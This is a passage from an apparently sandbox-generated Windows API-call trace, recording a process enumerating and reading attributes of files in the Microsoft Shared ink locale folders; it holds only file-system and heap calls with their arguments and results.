ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0047.052] GetLastError () returned 0x12 [0047.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e1650) returned 1 [0047.053] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e1758) returned 1 [0047.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.053] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0047.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.053] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0047.053] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.054] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.054] NtClose (Handle=0x160) returned 0x0 [0047.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.054] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.054] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.054] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0d88 [0047.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e43a0 [0047.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.055] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.055] GetLastError () returned 0x12 [0047.055] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.055] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.055] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.055] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.055] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.055] GetLastError () returned 0x12 [0047.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.055] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.056] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0047.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.056] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0047.056] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.056] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.056] NtClose (Handle=0x16c) returned 0x0 [0047.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.056] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.056] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.057] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0da8 [0047.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e44a8 [0047.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.057] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.057] GetLastError () returned 0x12 [0047.057] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.057] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.057] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.057] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.057] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.057] GetLastError () returned 0x12 [0047.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.057] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.057] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0047.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.058] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0047.058] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.058] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.058] NtClose (Handle=0x160) returned 0x0 [0047.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0047.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.058] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.058] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.058] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0047.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0047.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0dc8 [0047.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e45b0 [0047.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.059] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.059] GetLastError () returned 0x12 [0047.059] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.059] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.059] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.059] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.059] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.059] GetLastError () returned 0x12 [0047.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.059] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0047.059] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="")) returned 1 [0047.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.059] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: 